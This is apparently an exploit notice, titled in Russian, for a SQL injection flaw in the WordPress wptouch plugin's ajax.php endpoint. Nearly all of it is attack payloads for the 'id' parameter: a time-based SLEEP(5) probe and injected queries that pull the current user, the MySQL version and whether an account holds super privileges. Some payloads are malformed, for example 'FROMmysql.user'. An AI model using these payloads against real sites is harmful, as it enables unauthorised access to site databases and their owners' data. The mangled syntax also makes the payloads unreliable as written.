SQL Injection в WordPress wptouch plugin

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(POST data) 
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http://site.com/wp-content/plugins/wptouch/ajax.php 
  
#Exploit: id=-1; id=- AND SLEEP(5) or 1=if 
  
http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER() 
  
http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT 
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 
0,1)='Y') THEN 1 ELSE 0 END) 
  
http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6)